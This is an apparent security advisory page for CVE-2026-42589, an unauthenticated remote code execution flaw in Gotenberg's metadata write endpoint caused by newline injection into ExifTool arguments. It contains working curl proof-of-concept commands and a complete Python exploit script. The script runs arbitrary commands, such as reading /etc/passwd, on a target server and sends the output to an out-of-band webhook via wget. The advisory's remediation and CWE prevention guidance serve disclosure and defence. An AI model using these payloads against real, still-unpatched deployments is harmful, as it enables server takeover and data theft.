GHSA-rqgh-gxv4-6657 CVE-2026-42589 GO-2026-5636
Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection
- Severity
- 9.8 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 3.01%
- Chance of exploitation in the next 30 days. Higher than 87.42% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix
- None yet
- No fixed version published
Description
Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection
Summary
Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring.
Vulnerability Details
| Field | Value |
|---|---|
| Product | Gotenberg |
| Version | 8.29.1 (default gotenberg/gotenberg:8) |
| Component | pdfengines/metadata/write endpoint |
| CWE | CWE-78 — Improper Neutralization of Special Elements used in an OS Command |
Affected Code
Product: Gotenberg
Endpoint: /forms/pdfengines/metadata/write
Root cause: JSON metadata keys are passed to go-exiftool without control-character
validation. The existing dangerousTags blocklist uses exact-match deletion and
provides no defense against \n-embedded keys.
The injection occurs because go-exiftool writes each key to ExifTool's stdin as:
fmt.Fprintln(e.stdin, "-"+k+"="+str) // k contains \n → splits into a new argument line
When k is Title\n-if\nsystem('cmd')||1\n-Comment, ExifTool's stdin becomes:
-Title
-if
system('cmd')||1
-Comment=x
ExifTool's -if flag evaluates its argument as a Perl expression, giving the attacker arbitrary code execution.
Why it's vulnerable: Gotenberg is the HTTP entry point. It controls what data enters go-exiftool. The dangerousTags blocklist (FileName, Directory) shows that the authors are aware that certain keys are dangerous, but the fix is incomplete: it uses exact string matching and does not strip or reject control characters in keys.
This vulnerability exists entirely within Gotenberg's responsibility and is independently fixable without changing go-exiftool.
Attack Scenario
Threat actor: Unauthenticated remote attacker
Preconditions: Gotenberg port 3000 is reachable (common in internal/cloud deployments)
- Attacker sends a POST request to
/forms/pdfengines/metadata/writewith any valid PDF and a metadata JSON object whose key contains embedded newlines. - Gotenberg deserializes the JSON key —
\nis preserved as a literal newline in Go'smap[string]anyafterjson.Unmarshal. - The key is forwarded to go-exiftool, which writes it verbatim to ExifTool's stdin, splitting it across multiple argument lines.
- ExifTool processes
-if system('cmd')||1as a Perl expression and executescmd. - The attacker exfiltrates output via an OOB HTTP callback. Response to the attacker is HTTP 200 with a valid PDF — no error signal.
Proof of Concept
# Write output of `id` to /tmp/pwned on the server
curl -s -o /dev/null -w "HTTP:%{http_code}" \
-X POST http://TARGET:3000/forms/pdfengines/metadata/write \
-F 'files=@sample.pdf;type=application/pdf' \
--form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment": "x"}'
# → HTTP:200
# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)
OOB exfiltration via base64-encoded HTTP callback:
OOB="https://webhook.site/YOUR-ID"
curl -s -o /dev/null -w "HTTP:%{http_code}" \
-X POST http://TARGET:3000/forms/pdfengines/metadata/write \
-F 'files=@sample.pdf;type=application/pdf' \
--form-string "metadata={\"Title\n-if\nsystem('wget -q -O /dev/null \"${OOB}?c=\$(id|base64|tr -d \\\"=\\n\\\")\" 2>/dev/null')||1\n-Comment\": \"x\"}"
# Listener receives: GET /?c=dWlkPTEwMDEoZ290ZW5iZXJnKS4u
# Decode: echo dWlkPTEwMDEoZ290ZW5iZXJnKS4u | base64 -d → uid=1001(gotenberg)...
Self-contained Python PoC (auto-generates PDF from target, exfiltrates via OOB):
#!/usr/bin/env python3
"""
Usage: python3 poc.py <target> <oob_url> [command]
python3 poc.py http://localhost:3000 https://webhook.site/YOUR-ID
python3 poc.py http://10.0.0.5:3000 https://webhook.site/YOUR-ID "cat /etc/passwd"
"""
import sys, json, subprocess, urllib.request
def check_target(target):
with urllib.request.urlopen(f"{target}/version", timeout=5) as r:
print(f"[+] Gotenberg {r.read().decode().strip()} — target reachable")
def get_pdf(target):
r = subprocess.run(["curl", "-s", "-X", "POST", f"{target}/forms/chromium/convert/url",
"-F", "url=https://example.com"], capture_output=True, timeout=30)
assert r.stdout[:4] == b"%PDF", "Failed to generate PDF"
print(f"[+] Got sample PDF ({len(r.stdout)} bytes)")
return r.stdout
def exploit(target, pdf, oob, cmd):
import tempfile, os
key = f'Title\n-if\nsystem(\'wget -q -O /dev/null "{oob}?c=$({cmd}|base64|tr -d "=\\n")" 2>/dev/null\')||1\n-Comment'
meta = json.dumps({key: "x"})
with tempfile.NamedTemporaryFile(suffix=".pdf", delete=False) as f:
f.write(pdf); tmp = f.name
try:
r = subprocess.run(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
"-X", "POST", f"{target}/forms/pdfengines/metadata/write",
"-F", f"files=@{tmp};type=application/pdf",
"--form-string", f"metadata={meta}"],
capture_output=True, text=True, timeout=30)
return int(r.stdout.strip())
finally:
os.unlink(tmp)
if __name__ == "__main__":
if len(sys.argv) < 3:
print(__doc__); sys.exit(1)
target, oob = sys.argv[1].rstrip("/"), sys.argv[2]
cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
print(f"[*] Target: {target} | OOB: {oob} | Command: {cmd}")
check_target(target)
pdf = get_pdf(target)
status = exploit(target, pdf, oob, cmd)
if status == 200:
print(f"[+] HTTP {status} — payload fired, check OOB listener for: ?c=<base64({cmd})>")
print(f"[!] Decode with: echo <value> | base64 -d")
else:
print(f"[-] HTTP {status} — unexpected response")
Expected output:
[*] Target: http://localhost:3000 | OOB: https://webhook.site/... | Command: id
[+] Gotenberg 8.29.1 — target reachable
[+] Got sample PDF (12345 bytes)
[+] HTTP 200 — payload fired, check OOB listener for: ?c=<base64(id)>
Impact
Full unauthenticated remote code execution as the Gotenberg process user (uid=1001(gotenberg), member of root group in the default Docker image). An attacker can read arbitrary files, write files, establish reverse shells, or pivot within the network. The attack requires no credentials and returns no error signal. Any deployment that exposes Gotenberg's port 3000 without an authenticating proxy is fully compromised by a single HTTP request.
Remediation
In Gotenberg's metadata handler, reject any key containing control characters before passing it to go-exiftool:
import "strings"
for key := range metadata {
if strings.ContainsAny(key, "\n\r\x00") {
return fmt.Errorf("invalid metadata key %q: control characters not allowed", key)
}
}
Operators should also place Gotenberg behind an authenticated reverse proxy and never expose port 3000 directly to untrusted networks.
Note: A companion advisory covers the same class of injection at the go-exiftool library layer (independently fixable — see go-exiftool advisory).
Timeline
| Date | Event |
|---|---|
| 2026-04-04 | Vulnerability discovered |
| 2026-04-04 | RCE confirmed — local file write + OOB HTTP |
| 2026-04-04 | Report drafted for disclosure |
| 2026-04-08 | Split into separate per-product advisories |
Resources
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
- ExifTool
-ifflag: https://exiftool.org/exiftool_pod.html - go-exiftool: https://github.com/barasher/go-exiftool
- CVSS calculator: https://www.first.org/cvss/calculator/3.1
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/gotenberg/gotenberg/v7 | all versions |
No fix yet |
| github.com/gotenberg/gotenberg/v8 | 1 listed versions | No fix yet |
| github.com/gotenberg/gotenberg/v8 | all versions |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
How to prevent it
- Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design: For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Implementation: If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would ne
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
- Operation: Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-2mrg-35hw-x3x9 Gotenberg: SSRF via LibreOffice document processing | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-vp73-vjw8-8f32 Gotenberg has a Race Condition via Multipart `downloadFrom` Handling | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-86m8-88fq-xfxp Gotenberg has an SSRF deny-list bypass in IsPublicIP via IPv6 6to4 / NAT64 / site-local prefixes | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-hwc4-gmrw-5222 Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-chwh-f6gm-r836 Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-g924-cjx7-2rjw Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme | Medium | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-4vmc-gm8v-m35h Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook | Critical | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-r33j-c622-r6qp Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine | High | Also affects github.com/gotenberg/gotenberg/v7 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor